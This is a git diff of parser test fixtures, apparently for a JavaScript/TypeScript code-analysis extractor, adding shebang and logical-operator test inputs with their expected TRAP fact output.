+exprs(#20022,78,#20020,-1,"g") +#20023=@"loc,{#10000},4,10,4,10" +locations_default(#20023,#10000,4,10,4,10) +hasLocation(#20022,#20023) +exprContainers(#20022,#20020) +literals("g","g",#20022) +decl(#20022,#20004) +#20024=* +scopes(#20024,1) +scopenodes(#20020,#20024) +scopenesting(#20024,#20000) +#20025=@"var;{arguments};{#20024}" +variables(#20025,"arguments",#20024) +isArgumentsObject(#20025) +#20026=* +stmts(#20026,1,#20020,-2,"{}") +#20027=@"loc,{#10000},4,23,4,24" +locations_default(#20027,#10000,4,23,4,24) +hasLocation(#20026,#20027) +stmtContainers(#20026,#20020) +numlines(#20020,1,1,0) +#20028=* +stmts(#20028,1,#20001,2,"{\n return b;\n}") +#20029=@"loc,{#10000},4,26,6,1" +locations_default(#20029,#10000,4,26,6,1) +hasLocation(#20028,#20029) +stmtContainers(#20028,#20001) +#20030=* +stmts(#20030,9,#20028,0,"return b;") +#20031=@"loc,{#10000},5,5,5,13" +locations_default(#20031,#10000,5,5,5,13) +hasLocation(#20030,#20031) +stmtContainers(#20030,#20001) +#20032=* +exprs(#20032,79,#20030,0,"b") +#20033=@"loc,{#10000},5,12,5,12" +locations_default(#20033,#10000,5,12,5,12) +hasLocation(#20032,#20033) +enclosingStmt(#20032,#20030) +exprContainers(#20032,#20001) +literals("b","b",#20032) +#20034=@"var;{b};{#20000}" +variables(#20034,"b",#20000) +bind(#20032,#20034) +#20035=* +stmts(#20035,2,#20001,3,"(c): bo ... s => c;") +#20036=@"loc,{#10000},8,1,8,26" +locations_default(#20036,#10000,8,1,8,26) +hasLocation(#20035,#20036) +stmtContainers(#20035,#20001) +#20037=* +exprs(#20037,65,#20035,0,"(c): bo ... ks => c") +#20038=@"loc,{#10000},8,1,8,25" +locations_default(#20038,#10000,8,1,8,25) +hasLocation(#20037,#20038) +enclosingStmt(#20037,#20035) +exprContainers(#20037,#20001) +#20039=* +scopes(#20039,1) +scopenodes(#20037,#20039) +scopenesting(#20039,#20000) +#20040=@"var;{c};{#20039}" +variables(#20040,"c",#20039) +#20041=* +exprs(#20041,78,#20037,0,"c") +#20042=@"loc,{#10000},8,2,8,2" +locations_default(#20042,#10000,8,2,8,2) +hasLocation(#20041,#20042) +exprContainers(#20041,#20037) +literals("c","c",#20041) +decl(#20041,#20040) +#20043=* +exprs(#20043,79,#20037,-2,"c") +#20044=@"loc,{#10000},8,25,8,25" +locations_default(#20044,#10000,8,25,8,25) +hasLocation(#20043,#20044) +exprContainers(#20043,#20037) +literals("c","c",#20043) +bind(#20043,#20040) +numlines(#20037,1,1,0) +#20045=* +stmts(#20045,2,#20001,4,"(d): %checks => d;") +#20046=@"loc,{#10000},9,1,9,18" +locations_default(#20046,#10000,9,1,9,18) +hasLocation(#20045,#20046) +stmtContainers(#20045,#20001) +#20047=* +exprs(#20047,65,#20045,0,"(d): %checks => d") +#20048=@"loc,{#10000},9,1,9,17" +locations_default(#20048,#10000,9,1,9,17) +hasLocation(#20047,#20048) +enclosingStmt(#20047,#20045) +exprContainers(#20047,#20001) +#20049=* +scopes(#20049,1) +scopenodes(#20047,#20049) +scopenesting(#20049,#20000) +#20050=@"var;{d};{#20049}" +variables(#20050,"d",#20049) +#20051=* +exprs(#20051,78,#20047,0,"d") +#20052=@"loc,{#10000},9,2,9,2" +locations_default(#20052,#10000,9,2,9,2) +hasLocation(#20051,#20052) +exprContainers(#20051,#20047) +literals("d","d",#20051) +decl(#20051,#20050) +#20053=* +exprs(#20053,79,#20047,-2,"d") +#20054=@"loc,{#10000},9,17,9,17" +locations_default(#20054,#10000,9,17,9,17) +hasLocation(#20053,#20054) +exprContainers(#20053,#20047) +literals("d","d",#20053) +bind(#20053,#20050) +numlines(#20047,1,1,0) +#20055=* +lines(#20055,#20001,"function f(a): boolean %checks {"," +") +#20056=@"loc,{#10000},1,1,1,32" +locations_default(#20056,#10000,1,1,1,32) +hasLocation(#20055,#20056) +#20057=* +lines(#20057,#20001," return a;"," +") +#20058=@"loc,{#10000},2,1,2,13" +locations_default(#20058,#10000,2,1,2,13) +hasLocation(#20057,#20058) +indentation(#10000,2," ",4) +#20059=* +lines(#20059,#20001,"}"," +") +#20060=@"loc,{#10000},3,1,3,1" +locations_default(#20060,#10000,3,1,3,1) +hasLocation(#20059,#20060) +#20061=* +lines(#20061,#20001,"function g(): %checks {} {"," +") +#20062=@"loc,{#10000},4,1,4,26" +locations_default(#20062,#10000,4,1,4,26) +hasLocation(#20061,#20062) +#20063=* +lines(#20063,#20001," return b;"," +") +#20064=@"loc,{#10000},5,1,5,13" +locations_default(#20064,#10000,5,1,5,13) +hasLocation(#20063,#20064) +indentation(#10000,5," ",4) +#20065=* +lines(#20065,#20001,"}"," +") +#20066=@"loc,{#10000},6,1,6,1" +locations_default(#20066,#10000,6,1,6,1) +hasLocation(#20065,#20066) +#20067=* +lines(#20067,#20001,""," +") +#20068=@"loc,{#10000},7,1,7,0" +locations_default(#20068,#10000,7,1,7,0) +hasLocation(#20067,#20068) +#20069=* +lines(#20069,#20001,"(c): boolean %checks => c;"," +") +hasLocation(#20069,#20036) +#20070=* +lines(#20070,#20001,"(d): %checks => d;"," +") +hasLocation(#20070,#20046) +numlines(#20001,9,8,0) +#20071=* +tokeninfo(#20071,7,#20001,0,"function") +#20072=@"loc,{#10000},1,1,1,8" +locations_default(#20072,#10000,1,1,1,8) +hasLocation(#20071,#20072) +#20073=* +tokeninfo(#20073,6,#20001,1,"f") +hasLocation(#20073,#20008) +#20074=* +tokeninfo(#20074,8,#20001,2,"(") +#20075=@"loc,{#10000},1,11,1,11" +locations_default(#20075,#10000,1,11,1,11) +hasLocation(#20074,#20075) +#20076=* +tokeninfo(#20076,6,#20001,3,"a") +hasLocation(#20076,#20012) +#20077=* +tokeninfo(#20077,8,#20001,4,")") +#20078=@"loc,{#10000},1,13,1,13" +locations_default(#20078,#10000,1,13,1,13) +hasLocation(#20077,#20078) +#20079=* +tokeninfo(#20079,8,#20001,5,":") +#20080=@"loc,{#10000},1,14,1,14" +locations_default(#20080,#10000,1,14,1,14) +hasLocation(#20079,#20080) +#20081=* +tokeninfo(#20081,6,#20001,6,"boolean") +#20082=@"loc,{#10000},1,16,1,22" +locations_default(#20082,#10000,1,16,1,22) +hasLocation(#20081,#20082) +#20083=* +tokeninfo(#20083,8,#20001,7,"%") +#20084=@"loc,{#10000},1,24,1,24" +locations_default(#20084,#10000,1,24,1,24) +hasLocation(#20083,#20084) +#20085=* +tokeninfo(#20085,6,#20001,8,"checks") +#20086=@"loc,{#10000},1,25,1,30" +locations_default(#20086,#10000,1,25,1,30) +hasLocation(#20085,#20086) +#20087=* +tokeninfo(#20087,8,#20001,9,"{") +#20088=@"loc,{#10000},1,32,1,32" +locations_default(#20088,#10000,1,32,1,32) +hasLocation(#20087,#20088) +#20089=* +tokeninfo(#20089,7,#20001,10,"return") +#20090=@"loc,{#10000},2,5,2,10" +locations_default(#20090,#10000,2,5,2,10) +hasLocation(#20089,#20090) +#20091=* +tokeninfo(#20091,6,#20001,11,"a") +hasLocation(#20091,#20019) +#20092=* +tokeninfo(#20092,8,#20001,12,";") +#20093=@"loc,{#10000},2,13,2,13" +locations_default(#20093,#10000,2,13,2,13) +hasLocation(#20092,#20093) +#20094=* +tokeninfo(#20094,8,#20001,13,"}") +hasLocation(#20094,#20060) +#20095=* +tokeninfo(#20095,7,#20001,14,"function") +#20096=@"loc,{#10000},4,1,4,8" +locations_default(#20096,#10000,4,1,4,8) +hasLocation(#20095,#20096) +#20097=* +tokeninfo(#20097,6,#20001,15,"g") +hasLocation(#20097,#20023) +#20098=* +tokeninfo(#20098,8,#20001,16,"(") +#20099=@"loc,{#10000},4,11,4,11" +locations_default(#20099,#10000,4,11,4,11) +hasLocation(#20098,#20099) +#20100=* +tokeninfo(#20100,8,#20001,17,")") +#20101=@"loc,{#10000},4,12,4,12" +locations_default(#20101,#10000,4,12,4,12) +hasLocation(#20100,#20101) +#20102=* +tokeninfo(#20102,8,#20001,18,":") +#20103=@"loc,{#10000},4,13,4,13" +locations_default(#20103,#10000,4,13,4,13) +hasLocation(#20102,#20103) +#20104=* +tokeninfo(#20104,8,#20001,19,"%") +#20105=@"loc,{#10000},4,15,4,15" +locations_default(#20105,#10000,4,15,4,15) +hasLocation(#20104,#20105) +#20106=* +tokeninfo(#20106,6,#20001,20,"checks") +#20107=@"loc,{#10000},4,16,4,21" +locations_default(#20107,#10000,4,16,4,21) +hasLocation(#20106,#20107) +#20108=* +tokeninfo(#20108,8,#20001,21,"{") +#20109=@"loc,{#10000},4,23,4,23" +locations_default(#20109,#10000,4,23,4,23) +hasLocation(#20108,#20109) +#20110=* +tokeninfo(#20110,8,#20001,22,"}") +#20111=@"loc,{#10000},4,24,4,24" +locations_default(#20111,#10000,4,24,4,24) +hasLocation(#20110,#20111) +#20112=* +tokeninfo(#20112,8,#20001,23,"{") +#20113=@"loc,{#10000},4,26,4,26" +locations_default(#20113,#10000,4,26,4,26) +hasLocation(#20112,#20113) +#20114=* +tokeninfo(#20114,7,#20001,24,"return") +#20115=@"loc,{#10000},5,5,5,10" +locations_default(#20115,#10000,5,5,5,10) +hasLocation(#20114,#20115) +#20116=* +tokeninfo(#20116,6,#20001,25,"b") +hasLocation(#20116,#20033) +#20117=* +tokeninfo(#20117,8,#20001,26,";") +#20118=@"loc,{#10000},5,13,5,13" +locations_default(#20118,#10000,5,13,5,13) +hasLocation(#20117,#20118) +#20119=* +tokeninfo(#20119,8,#20001,27,"}") +hasLocation(#20119,#20066) +#20120=* +tokeninfo(#20120,8,#20001,28,"(") +#20121=@"loc,{#10000},8,1,8,1" +locations_default(#20121,#10000,8,1,8,1) +hasLocation(#20120,#20121) +#20122=* +tokeninfo(#20122,6,#20001,29,"c") +hasLocation(#20122,#20042) +#20123=* +tokeninfo(#20123,8,#20001,30,")") +#20124=@"loc,{#10000},8,3,8,3" +locations_default(#20124,#10000,8,3,8,3) +hasLocation(#20123,#20124) +#20125=* +tokeninfo(#20125,8,#20001,31,":") +#20126=@"loc,{#10000},8,4,8,4" +locations_default(#20126,#10000,8,4,8,4) +hasLocation(#20125,#20126) +#20127=* +tokeninfo(#20127,6,#20001,32,"boolean") +#20128=@"loc,{#10000},8,6,8,12" +locations_default(#20128,#10000,8,6,8,12) +hasLocation(#20127,#20128) +#20129=* +tokeninfo(#20129,8,#20001,33,"%") +#20130=@"loc,{#10000},8,14,8,14" +locations_default(#20130,#10000,8,14,8,14) +hasLocation(#20129,#20130) +#20131=* +tokeninfo(#20131,6,#20001,34,"checks") +#20132=@"loc,{#10000},8,15,8,20" +locations_default(#20132,#10000,8,15,8,20) +hasLocation(#20131,#20132) +#20133=* +tokeninfo(#20133,8,#20001,35,"=>") +#20134=@"loc,{#10000},8,22,8,23" +locations_default(#20134,#10000,8,22,8,23) +hasLocation(#20133,#20134) +#20135=* +tokeninfo(#20135,6,#20001,36,"c") +hasLocation(#20135,#20044) +#20136=* +tokeninfo(#20136,8,#20001,37,";") +#20137=@"loc,{#10000},8,26,8,26" +locations_default(#20137,#10000,8,26,8,26) +hasLocation(#20136,#20137) +#20138=* +tokeninfo(#20138,8,#20001,38,"(") +#20139=@"loc,{#10000},9,1,9,1" +locations_default(#20139,#10000,9,1,9,1) +hasLocation(#20138,#20139) +#20140=* +tokeninfo(#20140,6,#20001,39,"d") +hasLocation(#20140,#20052) +#20141=* +tokeninfo(#20141,8,#20001,40,")") +#20142=@"loc,{#10000},9,3,9,3" +locations_default(#20142,#10000,9,3,9,3) +hasLocation(#20141,#20142) +#20143=* +tokeninfo(#20143,8,#20001,41,":") +#20144=@"loc,{#10000},9,4,9,4" +locations_default(#20144,#10000,9,4,9,4) +hasLocation(#20143,#20144) +#20145=* +tokeninfo(#20145,8,#20001,42,"%") +#20146=@"loc,{#10000},9,6,9,6" +locations_default(#20146,#10000,9,6,9,6) +hasLocation(#20145,#20146) +#20147=* +tokeninfo(#20147,6,#20001,43,"checks") +#20148=@"loc,{#10000},9,7,9,12" +locations_default(#20148,#10000,9,7,9,12) +hasLocation(#20147,#20148) +#20149=* +tokeninfo(#20149,8,#20001,44,"=>") +#20150=@"loc,{#10000},9,14,9,15" +locations_default(#20150,#10000,9,14,9,15) +hasLocation(#20149,#20150) +#20151=* +tokeninfo(#20151,6,#20001,45,"d") +hasLocation(#20151,#20054) +#20152=* +tokeninfo(#20152,8,#20001,46,";") +#20153=@"loc,{#10000},9,18,9,18" +locations_default(#20153,#10000,9,18,9,18) +hasLocation(#20152,#20153) +#20154=* +tokeninfo(#20154,0,#20001,47,"") +#20155=@"loc,{#10000},10,1,10,0" +locations_default(#20155,#10000,10,1,10,0) +hasLocation(#20154,#20155) +#20156=* +entry_cfg_node(#20156,#20001) +#20157=@"loc,{#10000},1,1,1,0" +locations_default(#20157,#10000,1,1,1,0) +hasLocation(#20156,#20157) +#20158=* +exit_cfg_node(#20158,#20001) +hasLocation(#20158,#20155) +successor(#20045,#20047) +successor(#20047,#20158) +#20159=* +entry_cfg_node(#20159,#20047) +#20160=@"loc,{#10000},9,1,9,0" +locations_default(#20160,#10000,9,1,9,0) +hasLocation(#20159,#20160) +#20161=* +exit_cfg_node(#20161,#20047) +#20162=@"loc,{#10000},9,18,9,17" +locations_default(#20162,#10000,9,18,9,17) +hasLocation(#20161,#20162) +successor(#20053,#20161) +successor(#20051,#20053) +successor(#20159,#20051) +successor(#20035,#20037) +successor(#20037,#20045) +#20163=* +entry_cfg_node(#20163,#20037) +#20164=@"loc,{#10000},8,1,8,0" +locations_default(#20164,#10000,8,1,8,0) +hasLocation(#20163,#20164) +#20165=* +exit_cfg_node(#20165,#20037) +#20166=@"loc,{#10000},8,26,8,25" +locations_default(#20166,#10000,8,26,8,25) +hasLocation(#20165,#20166) +successor(#20043,#20165) +successor(#20041,#20043) +successor(#20163,#20041) +successor(#20028,#20032) +successor(#20032,#20030) +successor(#20030,#20158) +successor(#20020,#20028) +#20167=* +entry_cfg_node(#20167,#20020) +#20168=@"loc,{#10000},4,1,4,0" +locations_default(#20168,#10000,4,1,4,0) +hasLocation(#20167,#20168) +#20169=* +exit_cfg_node(#20169,#20020) +#20170=@"loc,{#10000},4,25,4,24" +locations_default(#20170,#10000,4,25,4,24) +hasLocation(#20169,#20170) +successor(#20026,#20169) +successor(#20167,#20026) +successor(#20005,#20020) +#20171=* +entry_cfg_node(#20171,#20005) +hasLocation(#20171,#20157) +#20172=* +exit_cfg_node(#20172,#20005) +#20173=@"loc,{#10000},3,2,3,1" +locations_default(#20173,#10000,3,2,3,1) +hasLocation(#20172,#20173) +successor(#20014,#20018) +successor(#20018,#20016) +successor(#20016,#20172) +successor(#20011,#20014) +successor(#20171,#20011) +successor(#20022,#20005) +successor(#20007,#20022) +successor(#20156,#20007) +numlines(#10000,9,8,0) +filetype(#10000,"javascript") diff --git a/javascript/extractor/tests/shebang/input/not-typescript.ts b/javascript/extractor/tests/shebang/input/not-typescript.ts new file mode 100644 index 00000000000..6953faca516 --- /dev/null +++ b/javascript/extractor/tests/shebang/input/not-typescript.ts @@ -0,0 +1,5 @@ +#!/usr/bin/env perl + +use strict; + +exit 0; diff --git a/javascript/extractor/tests/shebang/input/typescript-with-shebang.ts b/javascript/extractor/tests/shebang/input/typescript-with-shebang.ts new file mode 100644 index 00000000000..bed2eaa1fbb --- /dev/null +++ b/javascript/extractor/tests/shebang/input/typescript-with-shebang.ts @@ -0,0 +1,4 @@ +#!/usr/bin/env node +interface Foo { + x: number; +} diff --git a/javascript/extractor/tests/shebang/input/typescript.ts b/javascript/extractor/tests/shebang/input/typescript.ts new file mode 100644 index 00000000000..a9a86d5ce04 --- /dev/null +++ b/javascript/extractor/tests/shebang/input/typescript.ts @@ -0,0 +1,3 @@ +interface Foo { + x: number; +} diff --git a/javascript/extractor/tests/shebang/options.json b/javascript/extractor/tests/shebang/options.json new file mode 100644 index 00000000000..cdf22d686fd --- /dev/null +++ b/javascript/extractor/tests/shebang/options.json @@ -0,0 +1,3 @@ +{ + "typescript": true +} diff --git a/javascript/extractor/tests/shebang/output/trap/typescript-with-shebang.ts.trap b/javascript/extractor/tests/shebang/output/trap/typescript-with-shebang.ts.trap new file mode 100644 index 00000000000..cd7804866b8 --- /dev/null +++ b/javascript/extractor/tests/shebang/output/trap/typescript-with-shebang.ts.trap @@ -0,0 +1,129 @@ +#10000=@"/typescript-with-shebang.ts;sourcefile" +files(#10000,"/typescript-with-shebang.ts","typescript-with-shebang","ts",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,5,0" +locations_default(#20002,#10000,1,1,5,0) +hasLocation(#20001,#20002) +#20003=@"local_type_name;{Foo};{#20000}" +local_type_names(#20003,"Foo",#20000) +#20004=* +stmts(#20004,34,#20001,0,"#!/usr/ ... mber;\n}") +#20005=@"loc,{#10000},1,1,4,1" +locations_default(#20005,#10000,1,1,4,1) +hasLocation(#20004,#20005) +stmtContainers(#20004,#20001) +#20006=* +typeexprs(#20006,1,#20004,0,"Foo") +#20007=@"loc,{#10000},2,11,2,13" +locations_default(#20007,#10000,2,11,2,13) +hasLocation(#20006,#20007) +enclosingStmt(#20006,#20004) +exprContainers(#20006,#20001) +literals("Foo","Foo",#20006) +typedecl(#20006,#20003) +#20008=* +properties(#20008,#20004,2,8,"x: number;") +#20009=@"loc,{#10000},3,3,3,12" +locations_default(#20009,#10000,3,3,3,12) +hasLocation(#20008,#20009) +#20010=* +exprs(#20010,0,#20008,0,"x") +#20011=@"loc,{#10000},3,3,3,3" +locations_default(#20011,#10000,3,3,3,3) +hasLocation(#20010,#20011) +enclosingStmt(#20010,#20004) +exprContainers(#20010,#20001) +literals("x","x",#20010) +isAbstractMember(#20008) +#20012=* +typeexprs(#20012,2,#20008,2,"number") +#20013=@"loc,{#10000},3,6,3,11" +locations_default(#20013,#10000,3,6,3,11) +hasLocation(#20012,#20013) +enclosingStmt(#20012,#20004) +exprContainers(#20012,#20001) +literals("number","number",#20012) +#20014=* +lines(#20014,#20001,"#!/usr/bin/env node"," +") +#20015=@"loc,{#10000},1,1,1,19" +locations_default(#20015,#10000,1,1,1,19) +hasLocation(#20014,#20015) +#20016=* +lines(#20016,#20001,"interface Foo {"," +") +#20017=@"loc,{#10000},2,1,2,15" +locations_default(#20017,#10000,2,1,2,15) +hasLocation(#20016,#20017) +#20018=* +lines(#20018,#20001," x: number;"," +") +#20019=@"loc,{#10000},3,1,3,12" +locations_default(#20019,#10000,3,1,3,12) +hasLocation(#20018,#20019) +indentation(#10000,3," ",2) +#20020=* +lines(#20020,#20001,"}"," +") +#20021=@"loc,{#10000},4,1,4,1" +locations_default(#20021,#10000,4,1,4,1) +hasLocation(#20020,#20021) +numlines(#20001,4,3,0) +#20022=* +tokeninfo(#20022,7,#20001,0,"interface") +#20023=@"loc,{#10000},2,1,2,9" +locations_default(#20023,#10000,2,1,2,9) +hasLocation(#20022,#20023) +#20024=* +tokeninfo(#20024,6,#20001,1,"Foo") +hasLocation(#20024,#20007) +#20025=* +tokeninfo(#20025,8,#20001,2,"{") +#20026=@"loc,{#10000},2,15,2,15" +locations_default(#20026,#10000,2,15,2,15) +hasLocation(#20025,#20026) +#20027=* +tokeninfo(#20027,6,#20001,3,"x") +hasLocation(#20027,#20011) +#20028=* +tokeninfo(#20028,8,#20001,4,":") +#20029=@"loc,{#10000},3,4,3,4" +locations_default(#20029,#10000,3,4,3,4) +hasLocation(#20028,#20029) +#20030=* +tokeninfo(#20030,7,#20001,5,"number") +hasLocation(#20030,#20013) +#20031=* +tokeninfo(#20031,8,#20001,6,";") +#20032=@"loc,{#10000},3,12,3,12" +locations_default(#20032,#10000,3,12,3,12) +hasLocation(#20031,#20032) +#20033=* +tokeninfo(#20033,8,#20001,7,"}") +hasLocation(#20033,#20021) +#20034=* +tokeninfo(#20034,0,#20001,8,"") +#20035=@"loc,{#10000},5,1,5,0" +locations_default(#20035,#10000,5,1,5,0) +hasLocation(#20034,#20035) +#20036=* +entry_cfg_node(#20036,#20001) +#20037=@"loc,{#10000},1,1,1,0" +locations_default(#20037,#10000,1,1,1,0) +hasLocation(#20036,#20037) +#20038=* +exit_cfg_node(#20038,#20001) +hasLocation(#20038,#20035) +successor(#20004,#20038) +successor(#20036,#20004) +numlines(#10000,4,3,0) +filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/shebang/output/trap/typescript.ts.trap b/javascript/extractor/tests/shebang/output/trap/typescript.ts.trap new file mode 100644 index 00000000000..936f5ce0896 --- /dev/null +++ b/javascript/extractor/tests/shebang/output/trap/typescript.ts.trap @@ -0,0 +1,123 @@ +#10000=@"/typescript.ts;sourcefile" +files(#10000,"/typescript.ts","typescript","ts",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,4,0" +locations_default(#20002,#10000,1,1,4,0) +hasLocation(#20001,#20002) +#20003=@"local_type_name;{Foo};{#20000}" +local_type_names(#20003,"Foo",#20000) +#20004=* +stmts(#20004,34,#20001,0,"interfa ... mber;\n}") +#20005=@"loc,{#10000},1,1,3,1" +locations_default(#20005,#10000,1,1,3,1) +hasLocation(#20004,#20005) +stmtContainers(#20004,#20001) +#20006=* +typeexprs(#20006,1,#20004,0,"Foo") +#20007=@"loc,{#10000},1,11,1,13" +locations_default(#20007,#10000,1,11,1,13) +hasLocation(#20006,#20007) +enclosingStmt(#20006,#20004) +exprContainers(#20006,#20001) +literals("Foo","Foo",#20006) +typedecl(#20006,#20003) +#20008=* +properties(#20008,#20004,2,8,"x: number;") +#20009=@"loc,{#10000},2,3,2,12" +locations_default(#20009,#10000,2,3,2,12) +hasLocation(#20008,#20009) +#20010=* +exprs(#20010,0,#20008,0,"x") +#20011=@"loc,{#10000},2,3,2,3" +locations_default(#20011,#10000,2,3,2,3) +hasLocation(#20010,#20011) +enclosingStmt(#20010,#20004) +exprContainers(#20010,#20001) +literals("x","x",#20010) +isAbstractMember(#20008) +#20012=* +typeexprs(#20012,2,#20008,2,"number") +#20013=@"loc,{#10000},2,6,2,11" +locations_default(#20013,#10000,2,6,2,11) +hasLocation(#20012,#20013) +enclosingStmt(#20012,#20004) +exprContainers(#20012,#20001) +literals("number","number",#20012) +#20014=* +lines(#20014,#20001,"interface Foo {"," +") +#20015=@"loc,{#10000},1,1,1,15" +locations_default(#20015,#10000,1,1,1,15) +hasLocation(#20014,#20015) +#20016=* +lines(#20016,#20001," x: number;"," +") +#20017=@"loc,{#10000},2,1,2,12" +locations_default(#20017,#10000,2,1,2,12) +hasLocation(#20016,#20017) +indentation(#10000,2," ",2) +#20018=* +lines(#20018,#20001,"}"," +") +#20019=@"loc,{#10000},3,1,3,1" +locations_default(#20019,#10000,3,1,3,1) +hasLocation(#20018,#20019) +numlines(#20001,3,3,0) +#20020=* +tokeninfo(#20020,7,#20001,0,"interface") +#20021=@"loc,{#10000},1,1,1,9" +locations_default(#20021,#10000,1,1,1,9) +hasLocation(#20020,#20021) +#20022=* +tokeninfo(#20022,6,#20001,1,"Foo") +hasLocation(#20022,#20007) +#20023=* +tokeninfo(#20023,8,#20001,2,"{") +#20024=@"loc,{#10000},1,15,1,15" +locations_default(#20024,#10000,1,15,1,15) +hasLocation(#20023,#20024) +#20025=* +tokeninfo(#20025,6,#20001,3,"x") +hasLocation(#20025,#20011) +#20026=* +tokeninfo(#20026,8,#20001,4,":") +#20027=@"loc,{#10000},2,4,2,4" +locations_default(#20027,#10000,2,4,2,4) +hasLocation(#20026,#20027) +#20028=* +tokeninfo(#20028,7,#20001,5,"number") +hasLocation(#20028,#20013) +#20029=* +tokeninfo(#20029,8,#20001,6,";") +#20030=@"loc,{#10000},2,12,2,12" +locations_default(#20030,#10000,2,12,2,12) +hasLocation(#20029,#20030) +#20031=* +tokeninfo(#20031,8,#20001,7,"}") +hasLocation(#20031,#20019) +#20032=* +tokeninfo(#20032,0,#20001,8,"") +#20033=@"loc,{#10000},4,1,4,0" +locations_default(#20033,#10000,4,1,4,0) +hasLocation(#20032,#20033) +#20034=* +entry_cfg_node(#20034,#20001) +#20035=@"loc,{#10000},1,1,1,0" +locations_default(#20035,#10000,1,1,1,0) +hasLocation(#20034,#20035) +#20036=* +exit_cfg_node(#20036,#20001) +hasLocation(#20036,#20033) +successor(#20004,#20036) +successor(#20034,#20004) +numlines(#10000,3,3,0) +filetype(#10000,"typescript") diff --git a/javascript/extractor/tests/ts/input/logicalOr.ts b/javascript/extractor/tests/ts/input/logicalOr.ts new file mode 100644 index 00000000000..75536385516 --- /dev/null +++ b/javascript/extractor/tests/ts/input/logicalOr.ts @@ -0,0 +1,4 @@ +function f(x,y) { + if (x || y) {} + if (x && y) {} +} diff --git a/javascript/extractor/tests/ts/output/trap/exprs.ts.trap b/javascript/extractor/tests/ts/output/trap/exprs.ts.trap index 7ebb546ca4d..77aeaf139da 100644 --- a/javascript/extractor/tests/ts/output/trap/exprs.ts.trap +++ b/javascript/extractor/tests/ts/output/trap/exprs.ts.trap @@ -326,11 +326,11 @@ hasLocation(#20098,#20096) exit_cfg_node(#20099,#20004) hasLocation(#20099,#20094) successor(#20012,#20017) -successor(#20033,#20037) -successor(#20043,#20035) +successor(#20033,#20043) successor(#20037,#20039) -successor(#20041,#20043) +successor(#20041,#20035) successor(#20039,#20041) +successor(#20043,#20037) successor(#20035,#20099) successor(#20025,#20027) successor(#20027,#20029) diff --git a/javascript/extractor/tests/ts/output/trap/logicalOr.ts.trap b/javascript/extractor/tests/ts/output/trap/logicalOr.ts.trap new file mode 100644 index 00000000000..681e53f8b79 --- /dev/null +++ b/javascript/extractor/tests/ts/output/trap/logicalOr.ts.trap @@ -0,0 +1,351 @@ +#10000=@"/logicalOr.ts;sourcefile" +files(#10000,"/logicalOr.ts","logicalOr","ts",0) +#10001=@"/;folder" +folders(#10001,"/","") +containerparent(#10001,#10000) +#10002=@"loc,{#10000},0,0,0,0" +locations_default(#10002,#10000,0,0,0,0) +hasLocation(#10000,#10002) +#20000=@"global_scope" +scopes(#20000,0) +#20001=@"script;{#10000},1,1" +toplevels(#20001,0) +#20002=@"loc,{#10000},1,1,5,0" +locations_default(#20002,#10000,1,1,5,0) +hasLocation(#20001,#20002) +#20003=@"var;{f};{#20000}" +variables(#20003,"f",#20000) +#20004=* +stmts(#20004,17,#20001,0,"functio ... y) {}\n}") +#20005=@"loc,{#10000},1,1,4,1" +locations_default(#20005,#10000,1,1,4,1) +hasLocation(#20004,#20005) +stmtContainers(#20004,#20001) +#20006=* +exprs(#20006,78,#20004,-1,"f") +#20007=@"loc,{#10000},1,10,1,10" +locations_default(#20007,#10000,1,10,1,10) +hasLocation(#20006,#20007) +exprContainers(#20006,#20004) +literals("f","f",#20006) +decl(#20006,#20003) +#20008=* +scopes(#20008,1) +scopenodes(#20004,#20008) +scopenesting(#20008,#20000) +#20009=@"var;{x};{#20008}" +variables(#20009,"x",#20008) +#20010=* +exprs(#20010,78,#20004,0,"x") +#20011=@"loc,{#10000},1,12,1,12" +locations_default(#20011,#10000,1,12,1,12) +hasLocation(#20010,#20011) +exprContainers(#20010,#20004) +literals("x","x",#20010) +decl(#20010,#20009) +#20012=@"var;{y};{#20008}" +variables(#20012,"y",#20008) +#20013=* +exprs(#20013,78,#20004,1,"y") +#20014=@"loc,{#10000},1,14,1,14" +locations_default(#20014,#10000,1,14,1,14) +hasLocation(#20013,#20014) +exprContainers(#20013,#20004) +literals("y","y",#20013) +decl(#20013,#20012) +#20015=@"var;{arguments};{#20008}" +variables(#20015,"arguments",#20008) +isArgumentsObject(#20015) +#20016=* +stmts(#20016,1,#20004,-2,"{\n if ... y) {}\n}") +#20017=@"loc,{#10000},1,17,4,1" +locations_default(#20017,#10000,1,17,4,1) +hasLocation(#20016,#20017) +stmtContainers(#20016,#20004) +#20018=* +stmts(#20018,3,#20016,0,"if (x || y) {}") +#20019=@"loc,{#10000},2,3,2,16" +locations_default(#20019,#10000,2,3,2,16) +hasLocation(#20018,#20019) +stmtContainers(#20018,#20004) +#20020=* +exprs(#20020,45,#20018,0,"x || y") +#20021=@"loc,{#10000},2,7,2,12" +locations_default(#20021,#10000,2,7,2,12) +hasLocation(#20020,#20021) +enclosingStmt(#20020,#20018) +exprContainers(#20020,#20004) +#20022=* +exprs(#20022,79,#20020,0,"x") +#20023=@"loc,{#10000},2,7,2,7" +locations_default(#20023,#10000,2,7,2,7) +hasLocation(#20022,#20023) +enclosingStmt(#20022,#20018) +exprContainers(#20022,#20004) +literals("x","x",#20022) +bind(#20022,#20009) +#20024=* +exprs(#20024,79,#20020,1,"y") +#20025=@"loc,{#10000},2,12,2,12" +locations_default(#20025,#10000,2,12,2,12) +hasLocation(#20024,#20025) +enclosingStmt(#20024,#20018) +exprContainers(#20024,#20004) +literals("y","y",#20024) +bind(#20024,#20012) +#20026=* +stmts(#20026,1,#20018,1,"{}") +#20027=@"loc,{#10000},2,15,2,16" +locations_default(#20027,#10000,2,15,2,16) +hasLocation(#20026,#20027) +stmtContainers(#20026,#20004) +#20028=* +stmts(#20028,3,#20016,1,"if (x && y) {}") +#20029=@"loc,{#10000},3,3,3,16" +locations_default(#20029,#10000,3,3,3,16) +hasLocation(#20028,#20029) +stmtContainers(#20028,#20004) 